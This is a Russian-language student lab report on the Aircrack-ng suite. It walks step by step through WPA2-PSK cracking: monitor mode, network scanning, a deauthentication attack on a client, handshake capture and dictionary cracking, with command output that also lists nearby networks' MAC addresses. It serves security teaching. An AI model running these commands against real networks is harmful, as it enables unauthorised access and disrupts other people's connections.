Лабораторная работа №6.
AirCrack

Климов Сергей

28 мая 2016 г.

Оглавление

1 Цель работы

Изучить основные возможности пакета AirCrack и принципы взлома WPA/WPA2 PSK и WEP.

2 Изучение пакета Aircrack

2.1 Описание основных утилит

- Airodump-ng - утилита, предназначенная для захвата пакетов протокола 802.11.
- Aireplay-ng - утилита, для генерации трафика, необходимого для взлома при помощи утилиты aircrack-ng.
- Aircrack-ng - утилита для взлома ключей WEP и WPA при помощи перебора по словарю.

2.2 Запуск режима мониторинга на бестроводном интерфейсе

```
root@kali:~# airmon-ng start wlan0

Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

  PID Name
 1318 NetworkManager
 1407 wpa_supplicant
 1519 dhclient
 2387 dhclient

PHY     Interface       Driver          Chipset

phy0    wlan0           iwlwifi         Intel Corporation Wireless 7260 (rev 73)
```

2.3 Запустить утилиту airodump и изучить форматы вывода этой утилиты

При запуске утилиты с ключем –write создается набор файлов с указанным префиксом. Файлы в формате csv и xmlсодержат в себе информацию о доступных сетях. Еще два фала содержат информацию о перехваченных пакетах. Файл типа .cap содержит перехваченные пакеты, а csv - файл содержит лишь сокращенную информацию.

3 Практическое задание

Запустим режим мониторинга на беспроводном интерфейсе

```
root@kali:~# airodump-ng wlan0mon

 CH 13 ][ Elapsed: 18 s ][ 2016-05-28 17:07

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 10:7B:EF:60:45:8C  -87        0        0    0   3  54e  WPA2 CCMP   PSK  Sasha
 6C:19:8F:CC:01:90  -53       50        0    0   1  54e  WPA2 CCMP   PSK  HomeW
 C4:6E:1F:7A:62:78  -64       36        0    0   6  54e. WPA2 CCMP   PSK  TP-LI
 D4:21:22:35:2A:22  -65       29        0    0   1  54e  WPA2 CCMP   PSK  Smart
 54:04:A6:5B:41:A8  -74       19        0    0   1  54e  WPA2 CCMP   PSK  Inter
 DC:9F:DB:08:05:7C  -78        8        0    0  31  54e. WPA2 CCMP   PSK  <leng
 DC:9F:DB:08:03:D1  -79       19        5    0   4  54e. WPA2 CCMP   PSK  zet-1
 00:14:D1:BD:F7:F4  -82       15        0    0  11  54e  WPA2 TKIP   PSK  kolia
 C0:4A:00:E2:D5:38  -84       11        0    0   6  54e. WPA2 CCMP   PSK  TP-LI
 34:4D:EB:EA:DC:07  -85       17        0    0  13  54e. WPA2 CCMP   PSK  WiFi-
 B8:A3:86:AB:96:1E  -86       12        0    0   1  54e  WPA  TKIP   PSK  beeli
 90:F6:52:2F:5C:C2  -87       11        0    0   6  54e. WPA2 CCMP   PSK  polus

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 D8:5D:4C:DA:F8:2E  FC:F8:AE:DA:5D:18  -55    24 - 5        0      3872
 60:A4:4C:3B:80:20  80:56:F2:E0:3D:61  -77     1e- 1e     449       408
```

Целевая сеть:

```
6C:19:8F:CC:01:90  -52      103        0     0    1   54e  WPA2 CCMP   PSK  HomeWiFi
```

Запустим сбор трафика для получения аутентификационных сообщений:

```
root@kali:~# airodump-ng wlan0mon --write airdump --bssid 6C:19:8F:CC:01:90 -c 1
 CH  1 ][ Elapsed: 1 min ][ 2016-05-28 17:11

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 6C:19:8F:CC:01:90  -39 100       810        8    0   1  54e  WPA2 CCMP   PSK  HomeWiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 6C:19:8F:CC:01:90  98:F1:70:93:04:63  -28    0 -24e     0       103
 6C:19:8F:CC:01:90  D8:50:E6:91:D8:1C  -60    0e- 6      0        24
```

Произведем деаутентификацию одного из клиентов (клиента с MAC-адресом D8:50:E6:91:D8:1C), до тех пор, пока не удастся собрать необходимых для взлома аутентификационных сообщений.

```
root@kali:~# sudo aireplay-ng --ignore-negative-one --deauth 150 -a 6C:19:8F:CC:01:90 -h D8
17:14:07  Sending DeAuth to broadcast -- BSSID: [6C:19:8F:CC:01:90]
17:14:07  Sending DeAuth to broadcast -- BSSID: [6C:19:8F:CC:01:90]
17:14:07  Sending DeAuth to broadcast -- BSSID: [6C:19:8F:CC:01:90]
17:14:17  Sending DeAuth to broadcast -- BSSID: [6C:19:8F:CC:01:90]
17:14:27  Sending DeAuth to broadcast -- BSSID: [6C:19:8F:CC:01:90]
17:14:28  Sending DeAuth to broadcast -- BSSID: [6C:19:8F:CC:01:90]
17:14:38  Sending DeAuth to broadcast -- BSSID: [6C:19:8F:CC:01:90]
17:14:38  Sending DeAuth to broadcast -- BSSID: [6C:19:8F:CC:01:90]
17:14:48  Sending DeAuth to broadcast -- BSSID: [6C:19:8F:CC:01:90]
17:14:49  Sending DeAuth to broadcast -- BSSID: [6C:19:8F:CC:01:90]
```

В результате перехватываем пакет handshake:

```
root@kali:~# airodump-ng wlan0mon --bssid 6C:19:8F:CC:01:90 -c 1 --write dump --ignore-nega
 CH  1 ][ Elapsed: 1 min ][ 2016-05-21 13:28 ][ WPA handshake: 6C:19:8F:CC:01:90

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 6C:19:8F:CC:01:90  -35 100       623     5574  166   5  54 . WPA2 CCMP   PSK  room421

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 D8:5D:4C:DA:F8:2E  D8:E5:6D:94:90:46  -49    54 - 6     0       126  HomeWiFi
 D8:5D:4C:DA:F8:2E  FC:F8:AE:DA:5D:18  -51    54 -48     3      5129
```

Произведем взлом используя словарь паролей. Для того, что бы взлом происходил быстрее, создадим свой словарь паролей (dictionary.dic).

```
root@kali:~# aircrack-ng dump-01.cap -w dictionary.dic
Opening dump-01.cap
Read 33260 packets.

   #  BSSID              ESSID                     Encryption

   1  6C:19:8F:CC:01:90  HomeWiFi                  WPA (1 handshake)

Choosing first network as target.

Opening dump-01.cap
Reading packets, please wait...

                                Aircrack-ng 1.2 beta3


                        [00:00:00] 1 keys tested (358.84 k/s)
```

```
KEY FOUND! [ ********* ]

Master Key     : F9 C3 60 85 42 26 AB 6E 15 80 8D 73 A7 1A 76 63
                 45 FC B0 FD A5 FD 58 24 8A CB 80 38 3C 21 C6 BA

Transient Key  : 49 13 7A 7D CF E4 00 FC AA 8C DB 8A 58 AC 7F DF
                 D5 FF 15 6A AC 4D D2 D1 F7 B4 02 69 37 F7 22 AE
                 4B E7 B3 53 B9 53 24 18 49 48 56 6B 1C BB 1A FE
                 C4 BA 3A 08 E5 98 6D 96 AF 25 64 0B 25 D4 03 A9

EAPOL HMAC     : 7D 59 5E 9F AE 1B 7A 1D B5 F6 3A 75 75 51 C2 76
```

В результате видим сообщение об успешно подобранном пароле, а так же сам пароль.

4 Выводы

В ходе данной работы были изучены основные возможности пакета AirCrack и принципы взлома WPA/WPA2 PSK. Данный инструмент позволяет прослушивать пакеты, генерировать новые и на основе handshake, а так же осуществлять взлом пароля сети при помощи перебора по словарю, что в реальных ситуациях очень ресурсозатратно. Заметим, что деаутентификация клиента не требует особых затрат, что может быть использовано в ряде атак. В ходе работы было выяснено, что для защиты сети не стоит использовать простые пароли, которые могут содержаться в различных словарях.